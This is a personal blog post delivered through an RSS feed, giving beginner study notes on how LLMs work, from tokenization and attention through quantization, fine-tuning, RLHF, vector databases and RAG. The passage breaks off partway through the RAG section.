<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Min Khant Thar on Medium]]></title>
        <description><![CDATA[Stories by Min Khant Thar on Medium]]></description>
        <link>https://medium.com/@minkhantthar?source=rss-32e2b280282a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fYZesDA-RjDZWiXGkxTX9Q@2x.jpeg</url>
            <title>Stories by Min Khant Thar on Medium</title>
            <link>https://medium.com/@minkhantthar?source=rss-32e2b280282a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 02:21:56 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@minkhantthar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI in Disguise]]></title>
            <link>https://medium.com/@minkhantthar/ai-in-disguise-b37f8294231b?source=rss-32e2b280282a------2</link>
            <guid isPermaLink="false">https://medium.com/p/b37f8294231b</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[deep-learning]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Min Khant Thar]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 12:12:01 GMT</pubDate>
            <atom:updated>2026-07-16T12:15:54.548Z</atom:updated>
            <content:encoded><![CDATA[<p>I been digging into AI lately, and honestly, from the outside it looks like magic but once you peel back the layers, it is actually built from a bunch of simple building blocks. I am just sharing my notes after hours of study about how LLMs are trained, how they understand language, what RAG and vector databases are, and what AI agents actually do.</p><h3>Dataset Preparation</h3><p>Data sets come from various sources and need to be processed before they can be fed into the model for training. One of the most commonly used data sets is the <a href="https://commoncrawl.org/"><strong>common crawl</strong></a> data set. The data set may contain harmful content, hate speech or bias narratives, also a risk of misinformation which we do not want in our training data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r59lJICpyk6mXdowe46aNw.png" /></figure><p>The data set that we prepared to train an LLM is called the <a href="https://www.corpusdata.org/"><strong>Corpus of data</strong></a>. We have a text dataset with a total of 60 tokens (word‑level tokenization for simplicity) and want to train with a context length of 10 tokens, meaning each training example contains exactly 10 tokens. We use a batch size of 2, so we prepare 2 such examples in one training step. The training data is chunked into sequences of length 10 with no overlap between examples in a batch.</p><p>The training label is the same sequence shifted one token to the right. Input = [A, B, C, D, E, F, G, H, I, J] → Label = [B, C, D, E, F, G, H, I, J, K], this shifting ensures that at every position, the model learns to predict the next token given the previous tokens.</p><p>The model is trained with causal (left‑to‑right) prediction, it can only see past tokens, not future ones. For position 1: context = [A] → predict B. For position 2: context = [A, B] → predict C, and so on, up to position 10: context = [A..J] → predict K. The maximum context length is 10 tokens, so the model never sees more than 10 tokens at once.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3r1mxPhXLBX_OALZjq3YA.png" /></figure><p>The loss is computed across all positions in the sequence using cross‑entropy loss between predicted and actual next token. This setup might seem confusing if you have not studied attention yet, but it will become clearer later. The attention mechanism will determine which past tokens are most relevant for predicting the next token. The loss computation tells the model how wrong its predictions are, and gradients are backpropagated to update weights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5PxlVYqYNV59DTqPiy2TDw.png" /></figure><h3>Tokenization</h3><p>A tokenizer can use different methods and might tokenize the same passage of writing differently. It is important to understand how separate 128k context is measured not in words but in tokens according to the model. On average, 1 token equals approximately 0.75 English words. You can test this locally using the <a href="https://github.com/openai/tiktoken"><strong>tiktoken</strong></a> to measure context window with tokens.</p><p>Transformer models use self-attention mechanisms to calculate the relationships and dependencies between different parts of an input, like words at the beginning and at the end of a paragraph. They compute vectors of weights in which each weight represents how relevant that token is to the other tokens in the sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwZXgN6iCf9pcPG4kZLTwA.png" /></figure><p>Instead of assigning a single token to a whole word, each character gets a single token, solving the <a href="https://blog.marketmuse.com/glossary/out-of-vocabulary-oov-definition/"><strong>out-of-vocabulary</strong></a> problem. However, character-level tokenization has some problems. it take the text “how are you” and if we apply character-level tokenization, each character is treated as a separate token and then each character is assigned an integer value. Since we are using a single character as a token, it has no contextual meaning, and using character-level tokenization creates longer sequences.</p><p><a href="https://www.shadecoder.com/topics/word-level-tokenization-a-comprehensive-guide-for-2025"><strong>Word-level tokenization</strong></a>, we could represent this text with only three tokens, but with character-level tokenization it takes 11 tokens, making it computationally expensive for an LLM. Word-level tokenization in LLMs helps capture the meaning of words and is suitable for language modeling, but it has problems like oov issues and large vocabulary sizes since each word is treated as a separate token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owGiObXKq_kS0Yte9fd-KA.png" /></figure><p><a href="https://www.shadecoder.com/topics/character-level-tokenization-a-comprehensive-guide-for-2025"><strong>Character-level tokenization</strong></a> has the benefits of a small vocabulary size and solving the oov problem, but, it has drawbacks like longer sequence lengths, lack of contextual meaning, and unsuitability for language modeling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqdWIp5EH_hsCC7HtLv98w.png" /></figure><p><a href="https://huggingface.co/learn/llm-course/en/chapter6/5"><strong>Byte Pair Encoding (BPE)</strong></a><strong>,</strong>used by GPT models, is a subword tokenizer trained separately before LLM training. oov words are encoded as subword units, allowing rare and unknown words to be represented more efficiently. This balances the trade-off between vocabulary size and text size.</p><p>By using subwords instead of a single character or an entire word as a token, BPE uses the same data compression algorithm to merge frequent pairs of bytes. This method merges frequent characters or character sequences. If we train a tokenizer with the words “low,” “lowest,” “newer,” and “wider” and then try to encode the word “lower,” which is not in the training data, the tokenizer uses subwords to encode it. Here we get two separate tokens from a single word “lower” because the subwords “low” and “er” were frequent in the training data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Du3RgKn1moc8CZelBRLj8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VdduYxFkOI22YvcMdVSoQ.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/851bf11b4dc05d2465a4455778d071a3"><em>https://gist.github.com/myminethealmighty/851bf11b4dc05d2465a4455778d071a3</em></a></p><h3>Embeddings</h3><p>The idea of LLM is to get a computer to understand and process language, however, language is made of words whereas computers can only process numbers. <a href="https://www.ibm.com/think/topics/word-embeddings"><strong>Word embeddings</strong></a> are numeric vectors that capture semantic relationships and contextual information. Words with similar meanings are positioned close to each other, and the distance and direction between vectors encode the degree of similarity between words.</p><p>The reason vectors are used to represent words is that most machine learning algorithms are incapable of processing plain text in its raw form and require numbers as input to perform any task. Embeddings have become a fundamental tool in natural language processing, helping machines understand human language.</p><p><strong>In </strong><a href="https://www.ibm.com/think/topics/natural-language-processing"><strong>natural language processing (NLP)</strong></a>, word embeddings are often used in tasks such as spam detection and topic categorization, <a href="https://www.ibm.com/think/topics/named-entity-recognition"><strong>named entity recognition (NER)</strong></a>, embeddings help identify and classify entities in text. For tasks related to word similarity and word analogy, “<em>the king is to the queen as man is to a woman</em>.” For question answering, embeddings measure semantic similarities between words or documents for tasks like clustering related articles, finding similar documents, or recommending similar items.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azfnGgq2SPoLqs7QRKXsxw.png" /></figure><p>lets assume, a super small corpus of just six words: cat, dog, happy, sad, orange, apple and representeach word as a three-dimensional vector. In reality, there can be hundreds of dimensions. Each dimension has a numeric value creating a unique vector for each word. These values represent the word’s position in a continuous three-dimensional vector space. look closely you can see that words with similar meanings or contexts have similar vector representations. The vectors for apple and orange are close together, reflecting this semantic relationship. Likewise, the vectors for happy and sad have opposite directions, indicating their contrasting meanings. In real life, it is not this simple. Actual word embeddings typically have hundreds of dimensions to capture more intricate relationships and nuances in meaning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJHnO8tWQJrexplHD0FOGg.png" /></figure><p>Two fundamental approaches to how word embedding methods generate effective representations for words are <strong>frequency-based embeddings</strong> where word representations derived from the frequency of words in a corpus. Another one is <strong>prediction-based embeddings</strong> capture semantic relationships and contextual information between words. eg., in “the dog is barking loudly” and “the dog is wagging its tail,” the model learns to associate “dog” with words like “bark,” “wag,” and “tail.” This allows these models to create a single fixed representation for dog that encompasses various dog-related concepts. They excel at separating words with close meanings and can manage the various senses in which a word may be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15hj5KS6NpRc1Kzh8LY0jg.png" /></figure><h3>Transformers</h3><p><a href="https://www.ibm.com/think/topics/transformer-model"><strong>Transformer</strong></a> architecture, introduced in the paper <a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf">“Attention Is All You Need” (2017)</a>, is the foundation of modern LLMs. Transformers process entire sequences simultaneously using self-attention which makes training significantly faster and enables models to learn long-range relationships.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0zjLx3BLQ8Kbn-BWZdvvhw.png" /></figure><p>Transformers revolutionized NLP by allowing parallel processing of input sequences rather than sequential processing. this parallelization dramatically speeds up training and enables the creation of much larger models trained on much more data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vSMK6YgwXDhCYC-PbGhig.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/711c1b618c269c41ea7300826269f501">https://gist.github.com/myminethealmighty/711c1b618c269c41ea7300826269f501</a></p><h3>Self-Attention Mechanism</h3><p>The <a href="https://www.ibm.com/think/topics/self-attention"><strong>self-attention mechanism</strong></a> is the core innovation of the Transformer architecture which allows the model to weigh the importance of different tokens when processing a sequence.</p><blockquote>“The cat sat on the mat because it was comfortable.”</blockquote><p>What does “it” refer to? Self-attention helps the model understand that “it” refers to “the mat,” not “the cat.” This contextual understanding is what makes modern LLMs so powerful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrvh39uiMKpxbIxb8wThpg.png" /></figure><p>Self-attention computes a weighted representation of the input sequence where each token can attend to every other token. This is why the model can understand long-range dependencies and relationships in text that earlier models struggled with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBxhQ6ujVgMa6vD3arWj7w.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/3189ff665ce9dcdb8d19e7bf54ff5241">https://gist.github.com/myminethealmighty/3189ff665ce9dcdb8d19e7bf54ff5241</a></p><h3>Positional Encoding</h3><p>Since Transformers process all tokens simultaneously rather than sequentially, they need a way to understand word order. Without positional information, “Dog bites man” and “Man bites dog” would appear identical to the model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Etb6-ZLQWjtW-htSdToJtg.png" /></figure><p>Positional encodings solve this problem by adding position-specific information to each token embedding. These encodings tell the model where each token appears in the sequence, allowing it to understand the order of words and the grammatical structure of sentences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nA-4E9vM-h8Jkl4TIkNMrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RrZwIJ-KW1m29447tJTL1Q.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/12a25ce4da121b11b45b3887958df1d9">https://gist.github.com/myminethealmighty/12a25ce4da121b11b45b3887958df1d9</a></p><h3>Context Window</h3><p>The size of the <a href="https://www.ibm.com/think/topics/context-window"><strong>context window</strong></a> determines the maximum number of tokens that the model can pay attention to at any one time. When the context window is compressed and exceeds the limit, the earliest information is removed and no longer exists in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*it7RShfQhD9YxKSbzKuIEA.png" /></figure><p>Most models provide what is called a system prompt into the context window, often hidden from the user. This system prompt conditions the behavior of the model, telling it what it can and cannot do. The user may also choose to attach some documents or source code into their context window that can be used by the LLM to refer to in its responses. Supplementary information drawn from external data sources for RAG might be stored within the context window during inference.</p><p>A few long documents or snippets of source code can quickly fill up a context window. Compute requirements scale quadratically with the length of a sequence. As the number of input tokens doubles, the model needs four times as much processing power to handle it. As the model predicts the next token in a sequence, it computes the relationships between the token and every single preceding token in that sequence. As context length increases, more and more computation is required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MllhR1tonRi4EIFYa90EOA.png" /></figure><p>Long context windows also can negatively affect performance, specifically the performance of the model. LLM can be overwhelmed by an abundance of extra detail like we, people, do. A long context length can increase a model’s vulnerability to jailbreaking, where malicious content is embedded deep within the input, making it harder for the model safety mechanisms to detect and filter out harmful instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hXm4r4YABifDpUTBoeWkug.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/099e7fe8197cb7e1fc23d8557f4fcfc0">https://gist.github.com/myminethealmighty/099e7fe8197cb7e1fc23d8557f4fcfc0</a></p><h3><strong>KV Cache</strong></h3><p><a href="https://huggingface.co/blog/not-lain/kv-caching"><strong>KV caching</strong></a> is an optimization technique used during inference to speed up text generation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7MuDz9KMLs8F3Mdn2DjIw.png" /></figure><p>Without KV cache,</p><p>Step 1: “Hello” → compute attention</p><p>Step 2: “Hello how” → recompute everything</p><p>Step 3: “Hello how are” → recompute everything</p><p>This is very expensive and becomes slower as the sequence grows.</p><p>With KV cache,</p><p>The model stores the Key and Value vectors from previous tokens, for each new token, the model only computes attention for the newest token, makes inference significantly faster</p><p>By caching the key-value pairs from previous tokens, the model avoids redundant computation and can generate text much more efficiently, especially for long sequences.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*mWiyyeNsIeid_KZO0C1EFw.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/c8eaca2a78880469e5c410b63c19a73d">https://gist.github.com/myminethealmighty/c8eaca2a78880469e5c410b63c19a73d</a></p><h3><strong>Training vs Inference</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J1mACDUlZWOJ6Sse3YA7KA.png" /></figure><p>Training is when the model learns by studying millions of examples. It makes predictions, checks if they are wrong, and adjusts its internal weights using <a href="https://www.ibm.com/think/topics/backpropagation"><strong>backpropagation</strong></a> to improve, which is very expensive It requires massive datasets and computing power.</p><p>Inference is when the trained model is used in practice, you give it a prompt, it uses its fixed weights to generate a response, and does not learn anything new. Inference is much cheaper and faster because there is no <a href="https://www.ibm.com/think/topics/backpropagation"><strong>backpropagation</strong></a>, just forward computation. Think of training as studying for an exam (hard work) and inference as taking the exam (using what you learned).</p><h3>Loss Function &amp; Gradient Descent</h3><p><a href="https://www.ibm.com/think/topics/loss-function"><strong>Loss Function</strong></a> is like a “how badly did you mess up?” score, like you show the model “The sky is…” and it guesses “Apple”, obviously, that is dead wrong because the actual answer is “blue.” So the loss goes through the roof! Cross-entropy loss is the usual way to measure this kinda mistake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4N0Y8n6-B3xEhIopzciQ-g.png" /></figure><p>Once the loss tells the model it screwed up, <a href="https://www.ibm.com/think/topics/gradient-descent"><strong>Gradient Descent</strong></a> steps in like a coach and says “Okay buddy, here is exactly how to tweak your brain (weights) so you do not make that same dumb mistake again.” The loss is like “you’re wrong!” and the gradient is like “move your weights this way to be less wrong next time.”</p><p>Then the model makes tiny adjustments and tries again. This whole cycle — guess → check how wrong → figure out the fix → adjust — just repeats over and over, millions of times, until the model finally learns that “sky” goes with “blue” and not “Apple.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xm_DQftJIQzXOa7D3I2OfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4k04cIygv62uZxrVY4LoQ.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/6c499ed36d25cb34d0e9fcb1aa00b5af">https://gist.github.com/myminethealmighty/6c499ed36d25cb34d0e9fcb1aa00b5af</a></p><h3>Quantization</h3><p>AI models are giant collections of billions of numbers called parameters. Normally, these numbers are stored with 32-bit precision (4 bytes each), like having a ruler that can measure down to microscopic levels. But all that precision comes at a massive cost in memory. For example, a 7 billion parameter model needs 28 GB of RAM just to be stored, which is more than many gaming PCs have. Running such a model requires expensive GPUs costing $2,000 to $3,000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*5d__VOqQ3OPTErADwOeOJg.png" /></figure><p><a href="https://www.ibm.com/think/topics/quantization"><strong>Quantization</strong></a> is a technique that solves this problem by reducing model size. It is the process of mapping continuous values into a discrete space. Think of all the real values between 0 and 1 and splitting them into 10 equal buckets. For instance, any value between 0.4 and 0.5 falls into bucket number four. Quantization was first used in signal processing to turn real-world waveforms like sound into digital data. When a microphone samples sound at regular intervals, that sampling is already a form of quantization. The second form of quantization is rounding the amplitude to the nearest value a computer can represent.</p><p>In machine learning, quantization converts model weights from real values into integers. For example, original parameters might range from -1 to 1, but quantized values range from -128 to +127. The main reason we need quantization is that we often need to deploy models on edge devices like cell phones, microcontrollers, or Fitbits. These edge devices have very limited memory, sometimes only a few megabytes, so we need to optimize and reduce the model size to fit these devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LLRKT_zGkf9Q032zQaUKww.png" /></figure><p>When you save a neural network model, you are essentially saving all its weights as floats. Float32 uses 4 bytes per number, and float64 uses 8 bytes per number. By converting these weights into integers (like int8 which uses only 1 byte), you can reduce memory storage from 4 bytes to 1 byte. For example, approximating 3.72 to 3 or 4 saves significant memory. This reduction in precision means the model becomes much smaller. Smaller models also lead to faster inference or prediction time.</p><p>Modern LLMs are massive, like DeepSeek R1 with 671 billion parameters. In original floating-point precision, that requires about 720 GB of memory. Even though it uses a mixture of experts architecture, we often still need to load the entire model for inference. Quantization can shrink that footprint by over 80%, down to 131 GB, which is small enough to fit across just two Nvidia H100 GPUs. In short, quantization is a method for model compression and faster inference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*U1xEyrbDz27CBaoIgyv72A.png" /></figure><p><a href="https://www.tensorflow.org/model_optimization/guide/quantization/post_training"><strong>Post-training quantization</strong></a> is a quick approach where you take your trained model and apply quantization during conversion to <a href="https://www.geeksforgeeks.org/deep-learning/introduction-to-tensorflow-lite/"><strong>TensorFlow Lite</strong></a>. This reduces model size significantly, but accuracy might suffer slightly.</p><p>To summarize, quantization reduces model size, enables deployment on edge devices, speeds up inference, and saves memory, an essential technique for deploying AI models on resource-constrained devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*CuziuuU1qA1smNQEdEKewQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HgnmqQLV-HXrSPQO6189FA.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/b3fe47cd7ab7b252375fb77b6878b197">https://gist.github.com/myminethealmighty/b3fe47cd7ab7b252375fb77b6878b197</a></p><h3>Fine-tuning</h3><p>When I used to play Dota 2, I learned skills like quick reflexes, strategic thinking, team coordination, and map awareness. Later, when I switched to eFootball, I was comfortable because many skills transferred over. In both games, you need fast decision-making, hand-eye coordination, and understanding opponent patterns. So, whatever raw skills I had from Dota 2, I deployed while playing eFootball. Essentially, I am transferring skills from one game to another.</p><p>In AI, this is called transfer learning, where you take a pre-trained model and retrain or fine-tune it on a new dataset, task, or format. This is exactly what LLM fine-tuning is. LLMs are trained on vast amounts of internet data, but if you are building a chatbot for a private company, the model needs to know internal data and respond in a specific tone and format. This is where fine-tuning comes in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXWoU86912n7dCvqBHZS9g.png" /></figure><p>LLM fine-tuning is the process of retraining a pretrained model like Llama on a specific task, dataset, tone, and format. Imagine an insurance company called “Apex Insurance” building a customer support chatbot. When a customer asks, “My car got damaged in a flood, what should I do?” a base LLM will give a general answer about filing claims. But the right answer is, “You should file a claim under your Apex Comprehensive Flood Coverage policy, and we will process it within 48 hours.” Since this policy data is private and not on the internet, a plain LLM cannot answer it. Fine-tuning the model on Apex’s internal policy documents ensures the chatbot gives accurate, brand-specific responses.</p><p>One solution is RAG, where you point the LLM to external knowledge sources. The benefit of RAG is that you do not retrain the model, so it is cheap and cost-effective. However, RAG may not produce answers in your company’s brand tone, format, or with the right empathy. RAG might give a robotic answer, but a fine-tuned model will respond with more empathy and precision. Fine-tuning handles emotion, slang, brand tone, and produces more precise answers. But fine-tuning is expensive because you are updating billions of parameters. So, in the industry, people often combine both RAG and fine-tuning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ch66_xPIEBUV2fe_abQu_A.png" /></figure><p>Llama 3.2 1B is a base foundation model that acts like an autocomplete. When you say, “The capital of India is,” it autocompletes “Delhi” and continues generating words. But Llama 3.2 1B Instruct is a fine-tuned model that works more like ChatGPT, handling question-answer pairs, summarization, translation, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*08GYbYuz28P0xkdyWXqdLA.png" /></figure><p>In summary, RAG is cheap but less precise, while fine-tuning is expensive but delivers better quality, brand-aligned, and empathetic responses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*TTU8vetr3pH0QnFzKztbfg.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/cd3b20f1eb3a6b46f5e215185c6a07e0">https://gist.github.com/myminethealmighty/cd3b20f1eb3a6b46f5e215185c6a07e0</a></p><h3>LoRA &amp; QLoRA</h3><p>Two popular parameter-efficient fine-tuning methods are <a href="https://www.redhat.com/en/topics/ai/lora-vs-qlora"><strong>LoRA and QLoRA</strong></a><strong>.</strong></p><p><a href="https://www.ibm.com/think/topics/lora"><strong>LoRA (Low-Rank Adaptation) </strong></a>works by freezing the pre-trained model weights and injecting trainable rank decomposition matrices into the model architecture. Instead of updating all parameters, LoRA only updates these smaller matrices, significantly reducing computational requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*59O_TuLPHUu7z9qp_ZTLQw.png" /></figure><p><a href="https://github.com/artidoro/qlora"><strong>QLoRA</strong></a> extends LoRA by introducing quantization, quantizes the base model to 4-bit precision while still using LoRA to fine-tune. This dramatically reduces memory usage while maintaining good performance. These methods make it possible to fine-tune large models on consumer hardware, democratizing access to LLM customization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*qU1-Bny2dJAQfxTbyfHtTw.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/34f0f19395c2726f215f7ad3d2e5c60d">https://gist.github.com/myminethealmighty/34f0f19395c2726f215f7ad3d2e5c60d</a></p><h3>Reinforcement Learning from Human Feedback (RLHF)</h3><p><a href="https://www.simform.com/blog/reinforcement-learning-from-human-feedback/"><strong>RLHF</strong></a> is the process that transforms a base model into a helpful assistant like ChatGPT.</p><ol><li><a href="https://huggingface.co/learn/llm-course/en/chapter11/3"><strong>Supervised Fine-tuning</strong></a>: The base model is first fine-tuned on high-quality instruction-response pairs to learn the desired format and behavior.</li><li><a href="https://huggingface.co/docs/trl/en/reward_trainer"><strong>Reward Model Training</strong></a>: Humans rank multiple responses from the model based on quality, helpfulness, and safety. These rankings train a reward model that can automatically evaluate responses.</li><li><a href="https://cloud.google.com/discover/what-is-reinforcement-learning"><strong>Reinforcement Learning</strong></a>: The model is further trained using reinforcement learning, where the reward model provides feedback to improve responses.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqDggKQs7R1CScZtdFtLfA.png" /></figure><p>This process produces an assistant that is helpful, honest, and harmless, with the ability to follow instructions appropriately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*c8FF7rHAzW82cy8rThhPJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2803rU8ZpSlK5OkjHOopCg.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/4d77316c0861e3b166fd8e98df10344b">https://gist.github.com/myminethealmighty/4d77316c0861e3b166fd8e98df10344b</a></p><h3>Vector Database</h3><p>Embeddings must be stored somewhere, representing data as mathematical vector embeddings (arrays of numbers). A <a href="https://www.pinecone.io/learn/vector-database/"><strong>vector database</strong></a> indexes and stores vector embeddings for fast retrieval and similarity search.</p><p>With normal SQL storage, there is a semantic gap. Vector databases capture the semantic essence of the data where similar items are positioned close together in vector space. Dissimilar items are positioned far apart, allowing us to perform similarity searches as mathematical operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ogex71_iBrV-B1uXYlEX6w.png" /></figure><p>We can represent all sorts of unstructured data like image files, text files, and audio files as vector embeddings stored in the vector database. Each type of data has its own specialized type of embedding model. For example, <a href="https://openai.com/index/clip/"><strong>CLIP</strong></a> is used for images, <a href="http://nlp.stanford.edu/projects/glove/"><strong>GloVe</strong></a> is used for text, and <a href="https://huggingface.co/docs/transformers/en/model_doc/wav2vec2"><strong>Wav2Vec</strong></a> is used for audio.</p><p>We can perform powerful operations that were not possible with traditional relational databases, like similarity search, where we can find items that are similar to a query item by finding the closest vectors in the space.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GNW7h6teGp0vxC70gnVRTQ.png" /></figure><p>When you have millions of vectors in your database and those vectors are made up of hundreds or thousands of dimensions, you cannot effectively and efficiently compare your query vector to every single vector in the database. It would just be too slow. The process to do that is called vector indexing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tI0kslM0xeuXzP3paak1Xw.png" /></figure><p><a href="https://gist.github.com/myminethealmighty/8e1036b9bbed22eaa3f781775d0d29e4">https://gist.github.com/myminethealmighty/8e1036b9bbed22eaa3f781775d0d29e4</a></p><h3>Vector Indexing</h3><p><a href="https://www.yugabyte.com/key-concepts/what-is-vector-indexing/"><strong>Vector indexing</strong></a> uses approximate nearest neighbor (<a href="https://www.mongodb.com/resources/basics/ann-search"><strong>ANN</strong></a>) algorithms instead of finding the exact closest match. These algorithms quickly find vectors that are very likely to be among the closest matches.</p><p>Flat index uses a query to search it and get back the most similar information. Advantage: highly accurate. Disadvantage: very slow, you need to compare your query embedding with all your data.</p><p><a href="https://www.pinecone.io/learn/series/faiss/locality-sensitive-hashing/"><strong>Locality Sensitive Hashing (LSH)</strong></a> groups similar vectors into the same “buckets” before you even search, so you do not have to compare your query against every single item in your database. Special hash functions are designed so that similar vectors end up in the same bucket, while dissimilar ones do not. When you introduce a new query vector, you run it through the same hash functions to figure out which bucket it belongs to. Instead of searching the whole database, you only search the vectors inside that specific bucket to find the closest match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4edGIc8ZR2voAZp09J9CA.png" /></figure><p>In a library with 1 million books, without LSH, you must walk down every single aisle to find your book. With LSH, all books are pre-sorted into categories like “Fiction” vs. “General.” If you want a mystery novel, you only walk to the Fiction section. Once you are in the right section, you can do a quick, fine-tuned search (like ordering by the author’s last name) to find your exact book in seconds. This is incredibly fast because you shrink the search area from “everywhere” to “just the relevant neighborhood.” LSH trades a tiny bit of perfect accuracy for massive speed, making it possible to search billions of vectors in milliseconds.</p><p><a href="https://milvus.io/ai-quick-reference/how-do-inverted-file-ivf-indexes-work-in-vector-databases-and-what-role-do-clustering-centroids-play-in-the-search-process"><strong>Inverted File Index (IVF)</strong></a> groups vectors into clusters using clustering algorithms. It works like LSH but uses centroids (cluster centers) instead of hash functions to create buckets. All embeddings are calculated and automatically split into dense groups based on similarity. When a query comes in, it finds the closest centroid and only searches that cluster. In the library analogy, comedy books are grouped together automatically based on shared traits. The main problem is that queries on cluster boundaries force searching multiple clusters.</p><p>An improved version adds product quantization to compress vectors inside clusters, making it faster. This is one of the most popular search methods today, used in <a href="https://github.com/facebookresearch/faiss"><strong>FAISS</strong></a>.</p><h3>Retrieval-Augmented Generation (RAG)</h3><p>Vector databases store chunks of documents, articles, and knowledge bases as embeddings. When a user asks a question, the system finds the relevant text chunks by comparing vector similarity and feeds those to an LLM to generate responses using the retrieved information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*TF01IEkO7JsF6xDzLONo9Q.png" /></figure><p>An AI model cannot answer private company policy questions because it is only trained on public internet data. It does not know internal HR rules or confidential documents. However, if you give the HR policy document to the LLM, it can read it and find the right answer.</p><p>This is like having a brilliant chef named Marco who specializes in Italian cuisine. He knows nothing about baking French pastries, but he is excellent at following recipes, measuring ingredients, and understanding cooking techniques. He is given a French pastry cookbook in the kitchen and can follow the instructions to bake the perfect croissant. The LLM is like Marco’s culinary skills — it understands language and reasoning. The HR document is like the French pastry cookbook — external knowledge the LLM can reference. With the right document provided, the LLM can pull the exact answer instantly.</p><p>If your HR policy document is 3,000 pages, you cannot feed it all into the LLM at once. You will run out of the context window limit, and even if you do not, it will be too costly. Instead, you split the document into smaller pieces called chunks. For a given question, you only pull the most relevant chunks instead of the whole document. Some chunks will be highly relevant (e.g., 70% match), while others will have low relevance (e.g., 5%). To find relevance, you convert each chunk into a vector embedding. These embeddings are stored in a vector database, which searches by meaning, not exact words. For example, searching “leader in electric vehicles” returns Tesla, even if the word “Tesla” is not mentioned. You can generate 